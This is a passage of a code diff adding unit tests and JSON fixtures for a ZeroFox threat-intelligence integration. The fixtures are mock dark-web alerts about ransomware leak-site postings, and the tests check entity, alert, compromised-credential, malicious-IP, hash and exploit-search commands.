mocker.spy(client, "list_entities") + args: dict = {} + + results = list_entities_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 0 + assert results.outputs_prefix == "ZeroFox.Entity" + + +def test_list_entities_command_with_records(requests_mock, mocker): + """ + Given + There are entities + When + Calling list_entities_command + Then + It should call fetch entities + And return a list with entities as output + And with the correct output prefix + """ + entities_response = load_json("test_data/entities/entities_8_records.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/entities/", json=entities_response) + client = build_zf_client() + spy = mocker.spy(client, "list_entities") + args: dict = {} + + results = list_entities_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 8 + assert results.outputs_prefix == "ZeroFox.Entity" + + +def test_get_entity_types_command_with_no_records(requests_mock, mocker): + """ + Given + There is no entity types + When + Calling get_entity_types_command + Then + It should call fetch entity types + And return an empty list as output + And with the correct output prefix + """ + entity_types_response = load_json( + "test_data/entities/entity_types_no_records.json", + ) + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/entities/types/", json=entity_types_response) + client = build_zf_client() + spy = mocker.spy(client, "get_entity_types") + args: dict = {} + + results = get_entity_types_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 0 + assert results.outputs_prefix == "ZeroFox.EntityTypes" + + +def test_get_entity_types_command_with_records(requests_mock, mocker): + """ + Given + There are entity types + When + Calling get_entity_types_command + Then + It should call fetch entity types + And return a list with entity types as output + And with the correct output prefix + """ + entity_types_response = load_json( + "test_data/entities/entity_types_10_records.json", + ) + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/entities/types/", json=entity_types_response) + client = build_zf_client() + spy = mocker.spy(client, "get_entity_types") + args: dict = {} + + results = get_entity_types_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 10 + assert results.outputs_prefix == "ZeroFox.EntityTypes" + + +def test_get_policy_types_command_with_no_records(requests_mock, mocker): + """ + Given + There is no policy types + When + Calling get_policy_types_command + Then + It should call fetch policy types + And return an empty list as output + And with the correct output prefix + """ + policy_types_response = load_json( + "test_data/policies/policy_types_no_records.json", + ) + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/policies/", json=policy_types_response) + client = build_zf_client() + spy = mocker.spy(client, "get_policy_types") + args: dict = {} + + results = get_policy_types_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 0 + assert results.outputs_prefix == "ZeroFox.PolicyTypes" + + +def test_get_policy_types_command_with_records(requests_mock, mocker): + """ + Given + There are policy types + When + Calling get_policy_types_command + Then + It should call fetch policy types + And return a list with policy types as output + And with the correct output prefix + """ + policy_types_response = load_json( + "test_data/policies/policy_types_13_records.json", + ) + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.get("/1.0/policies/", json=policy_types_response) + client = build_zf_client() + spy = mocker.spy(client, "get_policy_types") + args: dict = {} + + results = get_policy_types_command(client, args) + + spy.assert_called_once() + assert len(results.outputs) == 13 + assert results.outputs_prefix == "ZeroFox.PolicyTypes" + + +def test_modify_alert_notes_command(requests_mock, mocker): + """ + Given + There is an alert id + When + Calling modify_alert_notes_command + Then + It should call the modify alert notes with the alert id + And the notes + And the action + And call fetch alert with the alert id + And return the alert as output + And with the correct output prefix + """ + alert_id = "123" + notes = "some notes" + alert_response = load_json("test_data/alerts/opened_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post(f"/1.0/alerts/{alert_id}/") + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_modify = mocker.spy(client, "modify_alert_notes") + spy_fetch = mocker.spy(client, "get_alert") + args = {"alert_id": alert_id, "notes": notes} + + results = modify_alert_notes_command(client, args) + + spy_modify.assert_called_once() + alert_id_called, notes_called, = spy_modify.call_args[0] + assert int(alert_id) == alert_id_called + assert notes_called == notes + spy_fetch.assert_called_once() + alert_id_called_in_fetch, = spy_fetch.call_args[0] + assert int(alert_id) == alert_id_called_in_fetch + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_submit_threat_command(requests_mock, mocker): + """ + Given + There is a source + And an alert type + And a violation + And an entity id + When + Calling submit_threat_command + Then + It should call the submit threat with the source + And the alert type + And the violation + And the entity id + And return the alert id as output + And with the correct output prefix + """ + source = "abc@test.com" + alert_type = "email" + violation = "phishing" + entity_id = "123" + alert_id = "123" + submit_response = load_json("test_data/alerts/submit_threat.json") + alert_response = load_json("test_data/alerts/opened_alert.json") + requests_mock.post("/1.0/api-token-auth/", json={"token": ""}) + requests_mock.post("/2.0/threat_submit/", json=submit_response) + requests_mock.get(f"/1.0/alerts/{alert_id}/", json=alert_response) + client = build_zf_client() + spy_submit = mocker.spy(client, "submit_threat") + args = { + "source": source, + "alert_type": alert_type, + "violation": violation, + "entity_id": entity_id, + } + + results = submit_threat_command(client, args) + + spy_submit.assert_called_once() + submit_threat_args = spy_submit.call_args[0] + source_called = submit_threat_args[0] + alert_type_called = submit_threat_args[1] + violation_called = submit_threat_args[2] + entity_id_called = submit_threat_args[3] + assert source == source_called + assert alert_type == alert_type_called + assert violation == violation_called + assert entity_id == entity_id_called + assert isinstance(results.outputs, dict) + assert results.outputs_prefix == "ZeroFox.Alert" + + +def test_compromised_domain_command(requests_mock, mocker): + """ + Given + There is a domain + When + Calling compromised_domain_command + Then + It should call c2-domain endpoint + And phishing endpoint + And return a list with threats as output + And with the correct output prefix + """ + domain = "abc.xyz" + c2_domains_response = load_json("test_data/cti/c2-domains.json") + phishing_response = load_json("test_data/cti/phishing.json") + requests_mock.post("/auth/token/verify/") + requests_mock.post("/auth/token/", json={"access": "token"}) + requests_mock.get("/cti/c2-domains/", json=c2_domains_response) + requests_mock.get("/cti/phishing/", json=phishing_response) + client = build_zf_client() + spy_c2_domains = mocker.spy(client, "get_cti_c2_domains") + spy_phishing = mocker.spy(client, "get_cti_phishing") + args = {"domain": domain} + + results = compromised_domain_command(client, args) + + spy_c2_domains.assert_called_once() + c2_domains_domain_arg, = spy_c2_domains.call_args[0] + assert c2_domains_domain_arg == domain + spy_phishing.assert_called_once() + phishing_domain_arg = spy_phishing.call_args.kwargs.get("domain") + assert phishing_domain_arg == domain + assert len(results.outputs) == 5 + assert results.outputs_prefix == "ZeroFox.CompromisedDomains" + + +def test_compromised_email_command(requests_mock, mocker): + """ + Given + There is an email + When + Calling compromised_email_command + Then + It should call email-addresses endpoint + And compromised-credentials endpoint + And botnet-compromised-credentials endpoint + And return a list with threats as output + And with the correct output prefix + """ + email = "abc@test.com" + email_response = load_json("test_data/cti/email-addresses.json") + credentials_response = load_json( + "test_data/cti/compromised-credentials.json", + ) + botnet_credentials_response = load_json( + "test_data/cti/botnet-compromised-credentials.json", + ) + requests_mock.post("/auth/token/verify/") + requests_mock.post("/auth/token/", json={"access": "token"}) + requests_mock.get("/cti/email-addresses/", json=email_response) + requests_mock.get( + "/cti/compromised-credentials/", + json=credentials_response, + ) + requests_mock.get( + "/cti/botnet-compromised-credentials/", + json=botnet_credentials_response, + ) + client = build_zf_client() + spy_email_addresses = mocker.spy(client, "get_cti_email_addresses") + spy_compromised_credentials = mocker.spy( + client, + "get_cti_compromised_credentials", + ) + spy_botnet_compromised_credentials = mocker.spy( + client, + "get_cti_botnet_compromised_credentials", + ) + args = {"email": email} + + results = compromised_email_command(client, args) + + spy_email_addresses.assert_called_once() + email_addresses_email_arg, = spy_email_addresses.call_args[0] + assert email_addresses_email_arg == email + + spy_compromised_credentials.assert_called_once() + compromised_credentials_email_arg, =\ + spy_compromised_credentials.call_args[0] + assert compromised_credentials_email_arg == email + + spy_botnet_compromised_credentials.assert_called_once() + botnet_compromised_credentials_email_arg, =\ + spy_botnet_compromised_credentials.call_args[0] + assert botnet_compromised_credentials_email_arg == email + + assert len(results.outputs) == 3 + assert results.outputs_prefix == "ZeroFox.CompromisedEmails" + + +def test_malicious_ip_command(requests_mock, mocker): + """ + Given + There is an IP + When + Calling malicious_ip_command + Then + It should call botnet endpoint + And phishing endpoint + And return a list with threats as output + And with the correct output prefix + """ + ip = "127.0.0.1" + botnet_response = load_json("test_data/cti/botnet.json") + phishing_response = load_json("test_data/cti/phishing.json") + requests_mock.post("/auth/token/verify/") + requests_mock.post("/auth/token/", json={"access": "token"}) + requests_mock.get("/cti/botnet/", json=botnet_response) + requests_mock.get("/cti/phishing/", json=phishing_response) + client = build_zf_client() + spy_botnet = mocker.spy(client, "get_cti_botnet") + spy_phishing = mocker.spy(client, "get_cti_phishing") + args = {"ip": ip} + + results = malicious_ip_command(client, args) + + spy_botnet.assert_called_once() + spy_botnet_ip_arg, = spy_botnet.call_args[0] + assert spy_botnet_ip_arg == ip + spy_phishing.assert_called_once() + phishing_ip_arg = spy_phishing.call_args.kwargs.get("ip") + assert phishing_ip_arg == ip + assert len(results.outputs) == 7 + assert results.outputs_prefix == "ZeroFox.MaliciousIPs" + + +def test_malicious_hash_command(requests_mock, mocker): + """ + Given + There is a hash + When + Calling malicious_hash_command + Then + It should call malware endpoint with hash_type md5 + And with hash_type sha1 + And with hash_type sha256 + And with hash_type sha512 + And return a list with threats as output + And with the correct output prefix + """ + hash = "e89b43d57a67a3f4d705028cfbd7b6fb" + hash_types = ["md5", "sha1", "sha256", "sha512"] + malware_response = load_json("test_data/cti/malware.json") + requests_mock.post("/auth/token/verify/") + requests_mock.post("/auth/token/", json={"access": "token"}) + requests_mock.get("/cti/malware/", json=malware_response) + client = build_zf_client() + spy_malware = mocker.spy(client, "get_cti_malware") + args = {"hash": hash} + + results = malicious_hash_command(client, args) + + # assert spy_malware.call_args == 0 + + assert spy_malware.call_count == 4 + for hash_type_index in range(len(hash_types)): + hash_type = hash_types[hash_type_index] + spy_malware_hash_type_arg, spy_malware_hash_arg = \ + spy_malware.call_args_list[hash_type_index][0] + assert spy_malware_hash_type_arg == hash_type + assert spy_malware_hash_arg == hash + assert len(results.outputs) == 4 + assert results.outputs_prefix == "ZeroFox.MaliciousHashes" + + +def test_search_exploits_command(requests_mock, mocker): + """ + Given + There is a date + When + Calling search_exploits_command + Then + It should call exploits endpoint + And with since param + And return a list with threats as output + And with the correct output prefix + """ + since = "2023-06-27T00:00:00Z" + exploits_response = load_json("test_data/cti/exploits.json") + requests_mock.post("/auth/token/verify/") + requests_mock.post("/auth/token/", json={"access": "token"}) + requests_mock.get("/cti/exploits/", json=exploits_response) + client = build_zf_client() + spy_exploits = mocker.spy(client, "get_cti_exploits") + args = {"since": since} + + results = search_exploits_command(client, args) + + spy_exploits.assert_called_once() + since_called_arg, = spy_exploits.call_args[0] + assert since_called_arg == since + assert len(results.outputs) == 10 + assert results.outputs_prefix == "ZeroFox.Exploits" diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/change_tags.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/change_tags.json new file mode 100644 index 000000000000..86f2f51cc0bd --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/change_tags.json @@ -0,0 +1,16 @@ +{ + "uuid": "", + "status": 1, + "changes": [ + { + "alert": 1, + "added": [ + "tag1", + "tag2" + ], + "removed": [ + "tag3" + ] + } + ] +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/closed_alert.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/closed_alert.json new file mode 100644 index 000000000000..756dec2e3037 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/closed_alert.json @@ -0,0 +1,83 @@ +{ + "alert": { + "alert_type": "search query", + "logs": [ + { + "id": 390795944, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:55:20+00:00", + "id": 224850127, + "protected_account": null, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "display_name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "id": 424158735, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting Lewis Young Robertson & Burningham, a U.S.-based firm that provide financial advice and consultant to local governments. ZeroFox has detected close to 100 victims of ransomware and digital extortion in the financial services sector in the past year, more than 40 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:55:20+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Closed", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "content_actions": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + } +} diff --git a/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records.json b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records.json new file mode 100644 index 000000000000..4771a7e6ad81 --- /dev/null +++ b/Packs/ZeroFox/Integrations/ZeroFox/test_data/alerts/list_10_records.json @@ -0,0 +1,759 @@ +{ + "count": 10, + "next": null, + "previous": null, + "page_size": 10, + "num_pages": 1, + "alerts": [ + { + "alert_type": "search query", + "logs": [ + { + "id": 390795944, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:55:20+00:00", + "id": 224850127, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "display_name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "id": 424158735, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting Lewis Young Robertson & Burningham, a U.S.-based firm that provide financial advice and consultant to local governments. ZeroFox has detected close to 100 victims of ransomware and digital extortion in the financial services sector in the past year, more than 40 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:55:20+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390795945, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:54:10+00:00", + "id": 224850128, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: National Association of Home Builders", + "display_name": "Akira Ransomware: National Association of Home Builders", + "id": 424158736, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting National Association of Home Builders, a U.S.-based construction group. ZeroFox has detected more than 150 victims of ransomware and digital extortion in the construction sector in the past year, nearly 55 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:54:10+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390795946, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:53:04+00:00", + "id": 224850129, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: SK Life Science", + "display_name": "Akira Ransomware: SK Life Science", + "id": 424158738, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting SK Life Science, a U.S.-based pharmaceutical manufacturing company. ZeroFox has detected more than 140 victims of ransomware and digital extortion in the healthcare sector in the past year, nearly 75 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:53:04+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:58Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390795949, + "timestamp": "2023-06-01T07:07:58+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "asset_term": null, + "assignee": "", + "entity": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:50:15+00:00", + "id": 224850131, + "severity": 4, + "perpetrator": { + "name": "ALPHV Ransomware: Casepoint", + "display_name": "ALPHV Ransomware: Casepoint", + "id": 424158739, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "content": "On June 01, 2023, ZeroFox observed an update on the ALPHV Ransomware leak site targeting the organization Casepoint, an U.S.-based software development company. ZeroFox has detected close to 300 victims of this ransomware in the past year, of which more than 50 percent are based in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:50:15+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 560648, + "name": "Virginia Potts", + "image": "https://cdn.zerofox.com/media/entityimages/66bd7e83-1fd.jpg", + "labels": [ + { + "id": 1639880, + "name": "Stark" + } + ], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:07:58+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:07:59Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800117, + "timestamp": "2023-06-01T07:51:43+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:55:20+00:00", + "id": 224851768, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "display_name": "Akira Ransomware: Lewis Young Robertson & Burningham", + "id": 424158735, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35803", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting Lewis Young Robertson & Burningham, a U.S.-based firm that provide financial advice and consultant to local governments. ZeroFox has detected close to 100 victims of ransomware and digital extortion in the financial services sector in the past year, more than 40 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:55:20+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:43+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800118, + "timestamp": "2023-06-01T07:51:44+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:54:10+00:00", + "id": 224851769, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: National Association of Home Builders", + "display_name": "Akira Ransomware: National Association of Home Builders", + "id": 424158736, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35804", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting National Association of Home Builders, a U.S.-based construction group. ZeroFox has detected more than 150 victims of ransomware and digital extortion in the construction sector in the past year, nearly 55 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:54:10+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:44+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800119, + "timestamp": "2023-06-01T07:51:44+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:53:04+00:00", + "id": 224851770, + "severity": 4, + "perpetrator": { + "name": "Akira Ransomware: SK Life Science", + "display_name": "Akira Ransomware: SK Life Science", + "id": 424158738, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35805", + "content": "On June 01, 2023, ZeroFox observed an update on the Akira Ransomware leak site targeting SK Life Science, a U.S.-based pharmaceutical manufacturing company. ZeroFox has detected more than 140 victims of ransomware and digital extortion in the healthcare sector in the past year, nearly 75 percent of which are in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:53:04+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:44+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390800120, + "timestamp": "2023-06-01T07:51:44+00:00", + "actor": "", + "subject": "", + "action": "open" + } + ], + "offending_content_url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "asset_term": null, + "assignee": "", + "entity": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entity_term": null, + "content_created_at": "2023-06-01T06:50:15+00:00", + "id": 224851772, + "severity": 4, + "perpetrator": { + "name": "ALPHV Ransomware: Casepoint", + "display_name": "ALPHV Ransomware: Casepoint", + "id": 424158739, + "url": "https://cloud.zerofox.com/intelligence/advanced_dark_web/35806", + "content": "On June 01, 2023, ZeroFox observed an update on the ALPHV Ransomware leak site targeting the organization Casepoint, an U.S.-based software development company. ZeroFox has detected close to 300 victims of this ransomware in the past year, of which more than 50 percent are based in the U.S.-Canada region.", + "type": "page", + "timestamp": "2023-06-01T06:50:15+00:00", + "network": "advanced_dark_web" + }, + "rule_group_id": 1775, + "asset": { + "id": 6969249, + "name": "Peter Parker", + "image": "https://cdn.zerofox.com/media/entityimages/kv7b3f5ubcp9s79zigjegevdri4o274mu05h6d7ufijgsvr3pp8aiwalihnuvbi4.jpg", + "labels": [], + "entity_group": { + "id": 4636, + "name": "Default" + } + }, + "entered_by": "", + "metadata": "", + "status": "Open", + "timestamp": "2023-06-01T07:51:44+00:00", + "rule_name": "Advanced Dark Web", + "last_modified": "2023-06-01T07:51:44Z", + "protected_locations": null, + "darkweb_term": null, + "business_network": null, + "reviewed": false, + "escalated": false, + "network": "advanced_dark_web", + "protected_social_object": null, + "notes": "", + "reviews": [], + "rule_id": 41785, + "entity_account": null, + "entity_email_receiver_id": null, + "tags": [] + }, + { + "alert_type": "search query", + "logs": [ + { + "id": 390852476, + "timestamp": "2023-06-01T13:27:19+00:00", + "actor": "", + 